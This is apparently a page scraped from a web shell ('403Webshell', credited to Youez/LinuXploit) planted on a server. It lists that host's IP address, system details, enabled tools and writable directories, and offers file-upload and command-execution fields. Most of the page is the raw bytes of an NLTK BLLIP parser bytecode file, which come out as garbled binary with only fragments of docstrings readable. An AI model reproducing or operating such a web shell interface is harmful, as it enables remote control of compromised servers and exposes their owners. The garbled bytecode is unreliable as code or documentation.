403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/nltk/parse/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/nltk/parse/__pycache__/bllip.cpython-311.pyc
�

 T�c�)���ddlmZddlmZ	dgZ	ddlmZddlmZd�Z	n#e
$rZefd�Z	YdZ[ndZ[wwxYwd	�Zd
�Z
Gd�de��Zd�ZdS)
�)�ParserI)�Tree�BllipParser)�RerankingParser��get_unified_model_parametersc��dS�N�r��2/usr/lib/python3/dist-packages/nltk/parse/bllip.py�_ensure_bllip_import_or_errorrZs���rc�&�td|z���)Nz&Couldn't import bllipparser module: %s)�ImportError)�ies r
rr_s���B�R�G�H�H�HrNc��	t|��D]\}}|�d���dS#t$r}td|�d|�d���|�d}~wwxYw)N�asciizToken z (zH) is non-ASCII. BLLIP Parser currently doesn't support non-ASCII inputs.)�	enumerate�encode�UnicodeEncodeError�
ValueError)�words�i�word�es    r
�
_ensure_asciircs���� ��'�'�	!�	!�G�A�t��K�K�� � � � �	!�	!�������
:�Q�
:�
:�$�
:�
:�
:�
�
��	��������s�*.�
A�A�Ac�N�tjt|j����Sr
)r�
fromstring�str�	ptb_parse)�scored_parses r
�_scored_parse_to_nltk_treer"ns���?�3�|�5�6�6�7�7�7rc�J�eZdZdZ					dd�Zd�Zd�Ze	dd���ZdS)	rz�
    Interface for parsing with BLLIP Parser. BllipParser objects can be
    constructed with the ``BllipParser.from_unified_model_dir`` class
    method or manually using the ``BllipParser`` constructor.
    Nc��t��|pi}|pi}t��|_|jj|fi|��|r|r|jjd||d�|��dSdSdS)a�
        Load a BLLIP Parser model from scratch. You'll typically want to
        use the ``from_unified_model_dir()`` class method to construct
        this object.

        :param parser_model: Path to parser model directory
        :type parser_model: str

        :param reranker_features: Path the reranker model's features file
        :type reranker_features: str

        :param reranker_weights: Path the reranker model's weights file
        :type reranker_weights: str

        :param parser_options: optional dictionary of parser options, see
            ``bllipparser.RerankingParser.RerankingParser.load_parser_options()``
            for more information.
        :type parser_options: dict(str)

        :param reranker_options: optional
            dictionary of reranker options, see
            ``bllipparser.RerankingParser.RerankingParser.load_reranker_model()``
            for more information.
        :type reranker_options: dict(str)
        )�features_filename�weights_filenameNr)rr�rrp�load_parser_model�load_reranker_model)�self�parser_model�reranker_features�reranker_weights�parser_options�reranker_optionss      r
�__init__zBllipParser.__init__ys���B	&�'�'�'�'�-�2��+�1�r��"�$�$���"���"�<�B�B�>�B�B�B��	�!1�	�(�D�H�(�
�"3�!1�
�
�#�
�
�
�
�
�	�	�	�	rc#�K�t|��|j�|��}|D]}t|��V��dS)a�
        Use BLLIP Parser to parse a sentence. Takes a sentence as a list
        of words; it will be automatically tagged with this BLLIP Parser
        instance's tagger.

        :return: An iterator that generates parse trees for the sentence
            from most likely to least likely.

        :param sentence: The sentence to be parsed
        :type sentence: list(str)
        :rtype: iter(Tree)
        N)rr'�parser")r*�sentence�
nbest_listr!s    r
r2zBllipParser.parse�sY����	�h�����X�^�^�H�-�-�
�&�	;�	;�L�,�\�:�:�:�:�:�:�	;�	;rc#�K�g}i}t|��D]$\}\}}|�|��|�|||<�%t|��|j�||��}|D]}t|��V��dS)a�
        Use BLLIP to parse a sentence. Takes a sentence as a list of
        (word, tag) tuples; the sentence must have already been tokenized
        and tagged. BLLIP will attempt to use the tags provided but may
        use others if it can't come up with a complete parse subject
        to those constraints. You may also specify a tag as ``None``
        to leave a token's tag unconstrained.

        :return: An iterator that generates parse trees for the sentence
            from most likely to least likely.

        :param sentence: Input sentence to parse as (word, tag) pairs
        :type sentence: list(tuple(str, str))
        :rtype: iter(Tree)
        N)r�appendrr'�parse_taggedr")	r*�word_and_tag_pairsr�tag_maprr�tagr4r!s	         r
�tagged_parsezBllipParser.tagged_parse�s����� ����'�(:�;�;�	!�	!�N�A�{��c��L�L������� ���
���e�����X�*�*�5�'�:�:�
�&�	;�	;�L�,�\�:�:�:�:�:�:�	;�	;rc�F�t|��\}}}||||||��S)a(
        Create a ``BllipParser`` object from a unified parsing model
        directory. Unified parsing model directories are a standardized
        way of storing BLLIP parser and reranker models together on disk.
        See ``bllipparser.RerankingParser.get_unified_model_parameters()``
        for more information about unified model directories.

        :return: A ``BllipParser`` object using the parser and reranker
            models in the model directory.

        :param model_dir: Path to the unified model directory.
        :type model_dir: str
        :param parser_options: optional dictionary of parser options, see
            ``bllipparser.RerankingParser.RerankingParser.load_parser_options()``
            for more information.
        :type parser_options: dict(str)
        :param reranker_options: optional dictionary of reranker options, see
            ``bllipparser.RerankingParser.RerankingParser.load_reranker_model()``
            for more information.
        :type reranker_options: dict(str)
        :rtype: BllipParser
        r)�cls�	model_dirr.r/�parser_model_dir�reranker_features_filename�reranker_weights_filenames       r
�from_unified_model_dirz"BllipParser.from_unified_model_dir�s@��<
)��3�3�		
��&�%��s��&�%���
�
�	
r)NNNNN)NN)	�__name__�
__module__�__qualname__�__doc__r0r2r;�classmethodrBrrr
rrrs��������������
-�-�-�-�^;�;�;�$;�;�;�8�>B�$
�$
�$
��[�$
�$
�$
rc	��ddlm}|d��j}td��t�|��}td��d���}d���}d���}|||fD]x}td	d
�|��z��	t|�	|����}t|���Z#t$rtd��Y�uwxYwt|�	|����D]\}}	td||	fz���td
t|�ddg������tdt|�ddg������tdt|�ddg������dS)z8This assumes the Python module bllipparser is installed.r)�findzmodels/bllip_wsj_no_auxzLoading BLLIP Parsing models...zDone.z#British left waffles on Falklands .z"I saw the man with the telescope .z	# ! ? : -zSentence: %r� z(parse failed)zparse %d:
%szforcing 'tree' to be 'NN':)�AN)�tree�NNz.forcing 'A' to be 'DT' and 'tree' to be 'NNP':)rK�DT)rL�NNPzforcing 'A' to be 'NNP':)rKrO)rLNN)
�	nltk.datarI�path�printrrB�split�join�nextr2�
StopIterationrr;)
rIr>�bllip�	sentence1�	sentence2�fail1r3rLrr2s
          r
�demor[�s����������.�/�/�4�I�	�
+�,�,�,��.�.�y�9�9�E�	�'�N�N�N�5�;�;�=�=�I�4�:�:�<�<�I������E��	�5�1�$�$��
�n�s�x�x��1�1�1�2�2�2�	$�����H�-�-�.�.�D��$�K�K�K�K���	$�	$�	$��"�#�#�#�#�#�	$�����e�k�k�)�4�4�5�5�,�,���5�
�o��E�
�*�+�+�+�+�
�$��U�
�
��n� =�
>�
>�?�?����
�8��U�
�
��o� >�
?�
?�@�@����
�"��U�
�
��~� >�
?�
?�@�@�����s�81C*�*D�D)�nltk.parse.apir�	nltk.treer�__all__�bllipparserr�bllipparser.RerankingParserrrrrrr"rr[rrr
�<module>rasA��#�"�"�"�"�"�������D�L�/��
I�+�+�+�+�+�+�H�H�H�H�H�H�
�
�
�
���I�I�I�)+�I�I�I�I�I�I�I�I�I�����I�������8�8�8�I
�I
�I
�I
�I
�'�I
�I
�I
�X-�-�-�-�-s�"�6�1�6

Youez - 2016 - github.com/yon3zu
LinuXploit